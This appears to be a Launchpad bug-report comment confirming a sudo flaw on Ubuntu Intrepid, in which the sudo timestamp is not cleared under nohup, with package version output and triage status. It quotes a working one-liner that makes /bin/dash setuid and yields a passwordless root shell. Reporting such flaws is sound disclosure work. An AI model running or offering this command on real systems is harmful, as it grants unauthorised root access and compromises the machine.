I can confirm this on Intrepid too. "nohup sudo chmod 4777 /bin/dash;
dash" will get you a root shell with no password.
[EMAIL PROTECTED]:/tmp$ apt-cache policy sudo
sudo:
Installed: 1.6.9p17-1ubuntu2
Candidate: 1.6.9p17-1ubuntu2
Version table:
*** 1.6.9p17-1ubuntu2 0
500 http://archive.ubuntu.com intrepid/main Packages
100 /var/lib/dpkg/status
** Changed in: sudo (Ubuntu)
Importance: Undecided => High
Status: Confirmed => Triaged
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deleting sudo timestamp is non-intuitive when run under nohup
https://bugs.launchpad.net/bugs/285805
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